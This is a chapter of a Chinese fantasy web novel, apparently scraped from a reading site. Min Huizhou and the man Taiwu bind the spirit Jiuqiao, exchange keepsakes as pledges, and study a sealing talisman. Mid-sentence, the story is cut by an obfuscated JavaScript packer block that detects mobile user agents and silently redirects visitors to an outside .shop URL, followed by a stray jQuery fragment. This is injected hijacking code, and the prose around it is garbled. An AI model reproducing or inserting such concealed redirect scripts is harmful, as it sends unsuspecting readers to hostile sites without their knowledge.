文趣网 > 都市小说 > 客家庙大 > 12.12
    闵绘周及时收刀。

    刀锋贴着额头掠开,离远,九窍松了口气。嗓子还在抖,他声音发飘,“我都答应了,可以放开我了吧。”

    目的已经达到,九窍顶个老人脸可怜兮兮的,尊老爱幼是国人的美好品德,闵绘周就去解绳索。

    只是不死人的绳结缠了几道,有些难解。

    九窍等得不耐烦,催促:“快一点,快一点,绳子绑身上难受,我快呼吸不了了……”

    “哦,再等等。”闵绘周埋头努力。

    九窍能感受到绳索松了,眼神发亮。身前蓦然投下一片阴影,他抬头,撞上男子隐讳的笑脸。

    九窍顿感不妙。

    男子伸手过去,按下闵绘周的动作,将她拉到边上。

    闵绘周不解,“怎么了?”

    魙者偏执,又为临阴境主宰,九窍不知白面寻其做什么,但总逃不过危险。虽然魙灵也不是什么好东西,事不关己,高高挂起,他只想在自己精心打造的府邸度过漫长空虚。

    原想假意答应寻魙,但死白面跟看透他内心似的,眼见就要得以脱身,现在机会没了。

    男子没回。

    闵绘周见九窍表情愤怒,恨不能长出张巨口吞掉他面前的不死人。这还有什么不明白,九窍是假借同意寻魙,行逃脱之实。

    她社会经验太少,差点就被骗了,生气地用手揪起九窍的眉毛,“臭老头,你竟然坑我!”

    尊老爱幼,尊的是有品德的老者,爱的是有礼貌的小孩,这种骗人的老头就直接给教训。

    练武之人手劲大,她这一揪,九窍的半张脸都飞了起来。

    九窍哎哟哎哟喊疼,头顶忽而感到刺痛,他愣了愣,意识到什么,猛地瞪大眼。

    “九窍。”男子指尖捻着一根发,七彩色,展示一般晃在九窍面前。

    九窍精生雄性的脸都长得奇老,相貌不出彩,便以彩发为美。男子手中那根七彩发,就相当于“母发”,如果离开本体一年,所有头发会相继脱落,彻底成为秃子。

    如果头发是九窍的命根子,那这根七彩发便是命根子中的命根子!

    九窍清晰地预知到自己的自由没了,什么愤怒都烟消云散,他无能痛诉:“死白面!你为什么要这么对我?我恨你!”

    他竟然哭了,还如此伤心,闵绘周赶紧松手,有些无所适从。

    男子无视哭声,道:“九窍,是你先反悔的,不是么?”

    他指的是自己假意答应的事,九窍反驳不了,继续哭:“现在你抓住我的把柄,还需要我同意吗?”

    “这根发,我会藏在隐蔽的地方,如果我出了意外,它便会随着我的法门自动销毁。”男子该说的都说了,收好彩发。

    术者身殒,法门及法器会随之陨落,九窍这下不单要寻魙,还要护这死白面。未来是彻底被限制住了,他低声啜泣,一张脸苦得皱巴巴的。

    此间事了,疲倦从骨子深处透出来,男子扶住石棺。他看向闵绘周,再表上回,“闵绘周,你惯会以极大的恶意揣度我,对待他人,也该如此为之。”

    刚刚闵绘周对九窍确实动了恻隐之心,所以才被利用,可这并不能相提并论,“他人是他人,你是你,不可同一而语。”

    男子失笑,自己恶人形象实在根深蒂固,“看来我在你心中,拥有独一份的位置。”

    闵绘周口快:“当然!”

    毕竟是家族世仇。

    单纯就对话而言,就有些引人遐想了。

    怎么听着,有种爱恨情仇的纠葛?九窍觉得或许未到绝路,还有机可趁,偷摸地听。

    引路人找到了,接下来是寻魙,未免再生枝节,还有个隐患要处理。男子说清楚,“我知道你在防备,你不信我。这次你唤方术施卦法,是九窍的结界掩饰了异动,才逃过秩序吞噬。下次再如此,就没那么幸运了,我们会被吞噬,被彻底同化,成为魙灵幻梦的一部分。”

    “你拖我下临阴境,我也拽你跌入潭底结界,就两相扯平。以后,不管你信不信任我,都必须得配合行动,直到出临阴境。”他一改以往轻浮,表现出强势的一面。

    还没有人能逼闵绘周做事,她直视着他,“谁跟你扯平,不死人占我族庙境百余年,还好意思跟我谈信任?”

    “我说过,我不叫不死人。”

    “那你到底是谁?为何与我族人周旋百余年?”

    男子顿了顿,终于给出另一种说法,“你只需知道,我们不是仇敌。”

    空口白牙,闵绘周冷笑:“不如闭嘴。”

    爱恨情仇,现在只剩仇了。单凭几句话,九窍也理不出事件始末,他便帮忙插嘴:“他叫太无。”

    男子和闵绘周齐刷刷看向出声的九窍。

    九窍不明所以,解释一句:“是天地之初的太无。”

    闵绘周瞪他,“你不是说你们不相识吗?”

    太无警告:“九窍。”

    两人几乎异口同声。

    九窍无妄之灾,闭了嘴。

    气氛陷入僵滞。

    眼见事态毫无进展,九窍又一直被吊着,身体极其难过。他觉得不能再这样下去,得让他们先放开自己。

    “我说…”

    “出境必须合作,既然互相不信任,那便交换信物。”太无突然开口。

    闵绘周:“信物?”

    “对,互相牵制。”

    闵绘周嗤声:“还说我,你不也一样不信任。”

    太无道:“我是一朝被‘蛇’咬。”

    闵绘周哼:“可惜那不是条‘毒蛇’。”

    气氛再度凝滞。

    九窍再度尝试,“我说……”

    闵绘周积恨已深,太无说什么都会引起她的逆反心理,他斟酌过后,软了语气,“你想杀我,出临阴境是最好的机会,不然就只能耗在这里,等死,老死,尸骨飘荡在异世。”

    九窍的话又被打断。

    闵绘周不喜欢这里,临阴境只有夜晚,人不接触阳光,久了会压抑,心里防线也会崩溃。说句不好听的,就算死,她也不愿将尸骨留在充满阴晦的地方。

    “好,信物给我。”闵绘周虽性格冲动,但胜在心性豁达,能屈能伸。

    太无立直身,抬手拔下骨簪,递到她面前。

    闵绘周秀眉轻皱,“这只是一支簪。”

    “确实,”太无知她嫌弃,又道,“如果我说这是我的肋骨所制呢?”

    闵绘周眉头更紧,“咦~你不要恶心我。”

    太无无奈解释:“此簪是我第三重要的东西,给你,足以表明我的诚意。”

    “那为什么不给第一二重要的?” 闵绘周切入的角度清奇。

    太无说:“第一第二已许出去,所以第三便是最重要的。”

    肋骨是第三,那第一第二不得是心肝之类的,这么容易就许

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738499|205641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出去,真当自己是莲身捏的。闵绘周勉为其难收下,然后从辫尾解下一颗翡翠宫灯百合,递给太无。

    太无接过,近看玉饰雕工质朴,不显贵重,他倒没有刁钻地指出缺陷,而是问:“为什么一双玉饰只给一只?”

    “这是我阿妈亲手雕刻送我的,是遗物,我从未离过身,所以只能给你一只。”闵绘周说完,低了低眼,掩饰提及过去的情绪。

    如此,太无不再疑问,将翡翠玉饰收进里衣。

    闵绘周也将骨簪放进挎包。

    合作达成,两人面色稍霁。

    九窍终于忍不住,“我说二位,在我的痛苦上建立你们的快乐,还有没有点仁义道德?”

    两人都愣了愣。

    九窍低吼:“都拿了我的彩发,还不快将我放下来!”

    既然协商好合作,闵绘周看向太无,用眼神询问他的意见。

    太无点头。

    “方术。”闵绘周呼唤方术。

    方术刀身半旋,切断绳索。

    九窍掉落在地,绳索脱身,如释重负。

    石洞内怨气遗留,方术刀不安稳,一直绕在闵绘周身侧。

    太无见状说:“潭底气太污浊,九窍识闻不清,我去牵马,先离开找个地方落脚,再寻魙灵。”

    闵绘周没意见。

    九窍不知想到什么,连连附和,“对对,这里发挥不出我的本事,先离开再说。”

    他刚还哭叫吵闹,现在如此识大体,太无疑惑,目色打量。

    九窍朝太无挥手,“你放心去吧,都这样了,我还能怎么挣扎?”

    太无默了默,方转身走。

    九窍在空气中嗅闻,确定他走远后,径直去翻地上的包袱。

    闵绘周则对棺盖上的符咒好奇。封印失效,怨灵消散,这符作用已去,她揭下来观摩。

    敕令分文敕武勅,由符头(奉),主事神(敕令勅令),捆仙索,天柱地柱,办事神(讳),符脚组成。文敕表奏请神,请上神襄助;武勅凭法权勒令受封的神鬼,前来斩邪。

    这张封印符与寻常符箓不同,符头下直接就是勅令,无主事神,直接以办事神的讳名来镇邪除祟。很是奇怪,就好似无需上神,讳名便是至高神位。

    能镇压怨灵,应该是叫得上名号的正神,但闵绘周仔细辨别讳名,与印象中诸位仙尊的神讳并不相符。朱砂笔触太狂放不羁,她依稀只认得巳、口,撇和弯钩的笔画。

    九窍久居潭底,或许了解封印,她问:“九窍,封印符上的讳名是什么?”

    “东珠,南珠,金锭,玉牌……这斯将我值钱的家当全搜罗走了……”九窍背着身,嘀嘀咕咕地揣东西,挽回点损失也是好的。

    九窍揣好家当,才慢吞吞地回:“不知道,我可不会鬼画符……”

    “怨灵不是你封印的吗?”

    “不是。”九窍又拿走一支碧竹玉簪。

    不是他吗?闵绘周奇怪:“那你怎么懂得铜剑能灭怨灵?”

    “这简单,本源相近,以煞制煞。”

    看来九窍能制服怨灵,纯属碰巧。但有一点绝不是巧合,便是封印符上的血滴。

    大凶封印,以血驱之,不死人懂得稳固符咒,又能以血化器,他到底是什么来历?闵绘周对他越来越好奇了。

    对了,他现在叫太无。

    天地之初,无从来去,连名字都这么神秘。